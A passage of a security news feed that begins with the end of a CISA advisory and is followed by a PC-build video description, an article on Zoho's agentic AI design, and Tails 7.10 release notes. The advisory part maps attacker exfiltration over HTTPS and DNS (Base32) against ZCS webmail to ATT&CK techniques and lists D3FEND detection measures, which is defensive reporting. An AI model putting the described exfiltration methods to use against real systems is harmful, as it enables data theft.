<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Isolate </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Credential Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>DNS Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Community Deviation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Identifier Activity Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should search for the listed known IOCs. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Process Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
</tr>
</tbody>
</table>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[PSU Installation & Cable Management Made Easy 🖥️ Part 6: How To Build A PC For Beginners 🎮]]></title>
<description><![CDATA[Author: Shannon Morse - Bewertung: 8x - Views:41 ⚡ It's time to power up the build! In this episode of my Beginner PC Build Series, we're installing the power supply (PSU), connecting motherboard and CPU power, routing SATA cables, and tackling one of the most satisfying parts of any PC build - c...]]></description>
<link>https://tsecurity.de/de/3689194/videos/psu-installation-cable-management-made-easy-part-6-how-to-build-a-pc-for-beginners/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689194/videos/psu-installation-cable-management-made-easy-part-6-how-to-build-a-pc-for-beginners/</guid>
<pubDate>Thu, 23 Jul 2026 15:21:48 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Shannon Morse - Bewertung: 8x - Views:41 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/0paViaFFoek?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>⚡ It's time to power up the build! In this episode of my Beginner PC Build Series, we're installing the power supply (PSU), connecting motherboard and CPU power, routing SATA cables, and tackling one of the most satisfying parts of any PC build - cable management.<br />
<br />
I'll explain what a power supply actually does, why wattage matters, what "fully modular" means, how to identify each cable, and my favorite cable management tips that make future upgrades and troubleshooting much easier.<br />
<br />
Whether you're building your very first gaming PC or just need a refresher, this step-by-step guide will help you wire everything correctly and keep your build clean.<br />
<br />
A huge thank you to ASUS and Kingston for partnering on this PC build series! ❤️<br />
<br />
👍 If you're enjoying the series, don't forget to subscribe so you don't miss the next episode where we install the graphics card and finish wiring the entire system!<br />
<br />
#PCBuild #GamingPC #CableManagement #PCBuilding #PowerSupply #ASUS #Kingston #CustomPC #DIYPC #BeginnerPCBuild<br />
<br />
https://pcpartpicker.com/user/snubsie/saved/#view=Htk84D  <br />
<br />
📺 Watch the Full PC Build Series: https://www.youtube.com/playlist?list=PLeYHKbaShxTHQVUHZfM8_44pjyI9LLzfe<br />
<br />
CPU: AMD Ryzen 9 9950X 4.3 GHz 16-Core Processor ($519.00 @ Amazon)<br />
Amazon: https://amzn.to/3O70PIU<br />
Best Buy: https://bestbuycreators.7tiv.net/YRWkZq<br />
B&H: https://bhpho.to/3PjZZcr<br />
<br />
CPU Cooler: Asus ROG Ryujin III ARGB Extreme 89.73 CFM Liquid CPU Cooler ($389.99 @ Amazon)<br />
Amazon: https://amzn.to/4bkdodD<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/DyDM4q<br />
B&H: https://bhpho.to/46EWdR4<br />
<br />
Motherboard: Asus ROG STRIX X870-A GAMING WIFI ATX AM5 Motherboard ($234.99 @ Amazon)<br />
Amazon: https://amzn.to/3NI9tO0<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/bORgn6<br />
B&H: https://bhpho.to/4ubyfa7<br />
<br />
Memory: Kingston FURY Beast RGB 64 GB (2 x 32 GB) DDR5-6400 CL32 Memory ($1359.99 @ Newegg - OOS) x 2<br />
Amazon: https://amzn.to/49SZug7<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/2anB4G<br />
<br />
Storage: Kingston NV3 2 TB M.2-2280 PCIe 4.0 X4 NVME Solid State Drive ($311.99 @ Amazon)<br />
Amazon: https://amzn.to/4bSOyBO<br />
Best Buy: https://bestbuycreators.7tiv.net/vPeg7N<br />
B&H: https://bhpho.to/4bpm9m9<br />
<br />
Storage: Kingston FURY Renegade G5 2.048 TB M.2-2280 PCIe 5.0 X4 NVME Solid State Drive ($424.99 @ iBUYPOWER)<br />
Amazon: https://amzn.to/4pTv8QB<br />
Best Buy: https://bestbuycreators.7tiv.net/N9AYrN<br />
B&H: https://bhpho.to/40dqbYK<br />
<br />
Video Card: Asus TUF GAMING OC GeForce RTX 5080 16 GB Video Card ($1699.99 @ B&H)<br />
Amazon: https://amzn.to/3NNmKos<br />
Best Buy: https://bestbuycreators.7tiv.net/GKrYLB<br />
B&H: https://bhpho.to/46HyuQb<br />
<br />
Case: Asus A31 ATX Mid Tower Case ($64.98 @ Amazon)<br />
Amazon: https://amzn.to/4bTH8yd<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/7a3BZO<br />
B&H: https://bhpho.to/4d3Fyu8<br />
<br />
Power Supply: Asus TUF Gaming 1000G 1000 W 80+ Gold Certified Fully Modular ATX Power Supply ($179.99 @ Amazon)<br />
Amazon: https://amzn.to/4qSDWHG<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/LKeYQO<br />
B&H: https://bhpho.to/3N1pqPq<br />
<br />
Case Fan: Asus TUF GAMING TF120 ARGB White 76 CFM 120 mm Fan ($14.99 @ Amazon)<br />
Amazon: https://amzn.to/3YWIbG7<br />
Best Buy: https://bestbuycreators.7tiv.net/QjVx5z<br />
B&H: https://bhpho.to/4uaSzs9<br />
<br />
Case Fan: Asus TUF Gaming TR120 ARGB 77.4 CFM 120 mm Fans 3-Pack ($68.54 @ Amazon)<br />
Amazon: https://amzn.to/4rzKNpN<br />
Best Buy: https://bestbuycreators.7tiv.net/55OBVD<br />
B&H: https://bhpho.to/46KcvYO <br />
<br />
 Turning Cable Chaos Into Cable Management Dreams<br />
00:42 What Does a Power Supply Do?<br />
02:04 Why This Build Uses a 1000W PSU<br />
03:12 Fully Modular Power Supplies Explained <br />
04:10 Identifying Every Power Cable<br />
05:16 Installing the PSU<br />
06:42 Subscribe & Patreon Shoutout<br />
07:33 Connecting the 24-Pin Motherboard Cable<br />
08:36 CPU Power Connectors<br />
09:53 Cable Routing Tips<br />
11:02 SATA Power & Accessories<br />
11:54 Cable Management Basics<br />
13:07 Next Episode Preview<br />
<br />
<br />
Becoming a Morse Code Member by checking out the perks linked here!:<br />
https://www.youtube.com/channel/UCNofX8wmSJh7NTklvMqueOA/join<br />
<br />
Editor: @ColleenEdits<br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜<br />
<br />
GET IN TOUCH<br />
Mail ✈ <br />
https://shannonrmorse.com/contact <br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜 <br />
<br />
😍 FTC DISCLAIMER 😍<br />
Affiliate links listed above allow me to receive a small commission. Any sponsorships for videos are noted in video and listed in descriptions. Any products provided as gifts are listed above. Thank you for your support!<br />
<br />
Comment section code of conduct policy:<br />
Constructive feedback is appreciated, but please leave unproductive, divisive and harmful conversation at the door. Hateful comments are not tolerated, and these kinds of messages will be automatically removed. Thank you for making this community a welcoming experience for all viewers :)<br />
https://shannonrmorse.com/code-of-conduct<br />
<br />
Code of Ethics:<br />
https://www.morsecodecreative.com/code-of-ethics<br />
<br />
FTC: Links marked with * are affiliate links, which means I make a small commission off any sales.<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Smaller, smarter, safer: How to build agentic AI on the right foundation]]></title>
<description><![CDATA[When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.



“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a sui...]]></description>
<link>https://tsecurity.de/de/3688632/it-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688632/it-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</guid>
<pubDate>Thu, 23 Jul 2026 12:04:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.</p>



<p class="wp-block-paragraph">“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.</p>



<p class="wp-block-paragraph">“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.</p>



<p class="wp-block-paragraph">Speaking to a room of tech leaders at the <a href="https://event.foundryco.com/cio-100-leadership-live-new-york/">CIO 100 Leadership Live New York event</a> last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:</p>



<ul class="wp-block-list">
<li>Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.</li>



<li>Smarter: The system around the model decides more than the model does.</li>



<li>Safer: Verify at the point a mistake gets locked in, not just downstream of it.</li>
</ul>



<p class="wp-block-paragraph">He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.</p>



<p class="wp-block-paragraph">To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.</p>



<p class="wp-block-paragraph">“The intelligence moves from the model into the architecture around it,” he said.</p>



<h2 class="wp-block-heading">A steep learning curve</h2>



<p class="wp-block-paragraph">One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.</p>



<p class="wp-block-paragraph">“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”</p>



<p class="wp-block-paragraph">In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.</p>



<p class="wp-block-paragraph">Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.</p>



<p class="wp-block-paragraph">“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.</p>



<p class="wp-block-paragraph">Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.</p>



<p class="wp-block-paragraph">“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”</p>



<p class="wp-block-paragraph">The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.</p>



<p class="wp-block-paragraph">“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.</p>



<p class="wp-block-paragraph">Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.</p>



<h3 class="wp-block-heading">Routing</h3>



<p class="wp-block-paragraph">Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.</p>



<p class="wp-block-paragraph">Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.</p>



<p class="wp-block-paragraph">“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”</p>



<h3 class="wp-block-heading">Harness</h3>



<p class="wp-block-paragraph">An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.</p>



<p class="wp-block-paragraph">“It’s the process around the model, which matters way more than the model itself,” Thakrar said.</p>



<p class="wp-block-paragraph">In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.</p>



<p class="wp-block-paragraph">For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.</p>



<p class="wp-block-paragraph">Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.</p>



<p class="wp-block-paragraph">“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”</p>



<p class="wp-block-paragraph">But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.</p>



<p class="wp-block-paragraph">Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.</p>



<h3 class="wp-block-heading">Specialization</h3>



<p class="wp-block-paragraph">Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.</p>



<p class="wp-block-paragraph">Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.</p>



<p class="wp-block-paragraph">“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[New Release: Tails 7.10]]></title>
<description><![CDATA[New features
New shutdown procedure
Tails now uses the standard shutdown procedure from GNOME.
The standard shutdown procedure
is a bit slower, but better prevents data loss.
For example, the Power Off confirmation dialog informs you if an
application needs to be closed or an open document needs ...]]></description>
<link>https://tsecurity.de/de/3688527/it-security-tools/new-release-tails-710/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688527/it-security-tools/new-release-tails-710/</guid>
<pubDate>Thu, 23 Jul 2026 11:24:32 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<article class="blog-post">
    <picture>
      <source media="(min-width:415px)" srcset="https://blog.torproject.org/new-release-tails-7_10/lead.webp" type="image/webp">
<source srcset="https://blog.torproject.org/new-release-tails-7_10/lead_small.webp" type="image/webp">

      <img class="lead" referrerpolicy="no-referrer" loading="lazy" src="https://blog.torproject.org/new-release-tails-7_10/lead.jpg">
    </picture>
    <div class="body"><h2>New features</h2>
<h3>New shutdown procedure</h3>
<p>Tails now uses the standard shutdown procedure from GNOME.</p>
<p>The <a href="https://tails.net/doc/first_steps/shutdown/">standard shutdown</a> procedure
is a bit slower, but better prevents data loss.</p>
<p>For example, the <strong>Power Off</strong> confirmation dialog informs you if an
application needs to be closed or an open document needs to be saved before
shutting down.</p>
<p><a href="https://tails.net/doc/first_steps/shutdown/power_off_with_inhibitor.png"><img src="https://tails.net/doc/first_steps/shutdown/power_off_with_inhibitor.png" alt=""></a></p>
<p>Even without confirming or saving the open documents, Tails will shut down
after 60 seconds.</p>
<p>You can still use the faster <a href="https://tails.net/doc/first_steps/shutdown/#emergency">emergency
shutdown</a> as before.</p>
<h3><em>Celluloid</em> video player</h3>
<p>We replaced <em>GNOME Videos</em> with <em>Celluloid</em> , a more modern and reliable video
player.</p>
<p><a href="https://tails.net/news/version_7.10/celluloid.png"><img src="https://tails.net/news/version_7.10/celluloid.png" alt=""></a></p>
<p>For added security, <em>Celluloid</em> cannot access the network. You can either:</p>
<ul>
<li>Open online videos, like MP4 and AVI files, in <em>Tor Browser</em>.</li>
<li>Open online streaming addresses, like IPTV and HLS addresses, in <em>VLC</em> , installed as <a href="https://tails.net/doc/persistent_storage/additional_software/">additional software</a>.</li>
</ul>
<p><em>Celluloid</em> doesn't work on some computer from 2011 or earlier.</p>
<p>You can use <em>VLC</em> instead, installed as <a href="https://tails.net/doc/persistent_storage/additional_software/">additional
software</a>.</p>
<h2>Changes and updates</h2>
<ul>
<li><p>Update <em>Tor Browser</em> to <a href="https://blog.torproject.org/new-release-tor-browser-15019/">15.0.19</a>.</p>
</li>
<li><p>Update some firmware packages. This improves support for newer hardware: graphics, Wi-Fi, and so on.</p>
</li>
</ul>
<p>For more details, read our
<a href="https://gitlab.tails.boum.org/tails/tails/-/blob/master/debian/changelog">changelog</a>.</p>
<h2>Get Tails 7.10</h2>
<h3>To upgrade your Tails USB stick and keep your Persistent Storage</h3>
<ul>
<li><p>Automatic upgrades are available from Tails 7.0 or later to 7.10.</p>
</li>
<li><p>If you cannot do an automatic upgrade or if Tails fails to start after an automatic upgrade, please try to do a <a href="https://tails.net/doc/upgrade/#manual">manual upgrade</a>.</p>
</li>
</ul>
<h3>To install Tails 7.10 on a new USB stick</h3>
<p>Follow our <a href="https://tails.net/install/">installation instructions</a>.</p>
<p>The Persistent Storage on the USB stick will be lost if you install instead of
upgrading.</p>
<h3>To download only</h3>
<p>If you don't need installation or upgrade instructions, you can download Tails
7.10 directly:</p>
<ul>
<li><p><a href="https://tails.net/install/download/">For USB sticks (USB image)</a></p>
</li>
<li><p><a href="https://tails.net/install/download-iso/">For DVDs and virtual machines (ISO image)</a></p>
</li>
</ul>
<h2>Support and feedback</h2>
<p>For support and feedback, visit the <a href="https://tails.net/support/">Support
section</a> on the Tails website.</p>

    </div>
  <div class="categories">
    <ul><li>
        <a href="https://blog.torproject.org/category/tails">
          tails
        </a>
      </li><li>
        <a href="https://blog.torproject.org/category/releases">
          releases
        </a>
      </li></ul>
  </div>
  </article>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tails 7.10]]></title>
<description><![CDATA[New features


New shutdown procedure

Tails now uses the standard shutdown procedure from GNOME.

The standard shutdown procedure is a bit slower,
but better prevents data loss.

For example, the Power Off confirmation dialog informs you if an
application needs to be closed or an open document n...]]></description>
<link>https://tsecurity.de/de/3688478/it-security-tools/tails-710/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688478/it-security-tools/tails-710/</guid>
<pubDate>Thu, 23 Jul 2026 11:07:50 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>New features</h1>


<h2>New shutdown procedure</h2>

<p>Tails now uses the standard shutdown procedure from GNOME.</p>

<p>The <a href="https://tails.net/doc/first_steps/shutdown/index.en.html">standard shutdown</a> procedure is a bit slower,
but better prevents data loss.</p>

<p>For example, the <strong>Power Off</strong> confirmation dialog informs you if an
application needs to be closed or an open document needs to be saved before
shutting down.</p>

<p><a href="https://tails.net/doc/first_steps/shutdown/power_off_with_inhibitor.png"><img alt="" class="screenshot" height="406" src="https://tails.net/doc/first_steps/shutdown/power_off_with_inhibitor.png" width="472"></a></p>

<p>Even without confirming or saving the open documents, Tails will shut down
after 60 seconds.</p>

<p>You can still use the faster <a href="https://tails.net/doc/first_steps/shutdown/index.en.html#emergency">emergency
shutdown</a> as before.</p>

<h2><em>Celluloid</em> video player</h2>

<p>We replaced <em>GNOME Videos</em> with <em>Celluloid</em>, a more modern and reliable video
player.</p>

<p><a href="https://tails.net/news/version_7.10/celluloid.png"><img alt="" class="screenshot" height="675" src="https://tails.net/news/version_7.10/celluloid.png" width="751"></a></p>

<div class="note">

<p>For added security, <i>Celluloid</i> cannot access the network. You can
either:</p>

<ul>

  <li>Open online videos, like MP4 and AVI files, in <i>Tor Browser</i>.

  </li><li>Open online streaming addresses, like IPTV and HLS addresses, in
  <i>VLC</i>, installed as <a href="https://tails.net/doc/persistent_storage/additional_software/index.en.html">additional
  software</a>.</li>

</ul>

</div>




<div class="bug">

<p><i>Celluloid</i> doesn't work on some computer from 2011 or earlier.</p>

<p>You can use <i>VLC</i> instead, installed as <a href="https://tails.net/doc/persistent_storage/additional_software/index.en.html">additional
software</a>.</p>

</div>




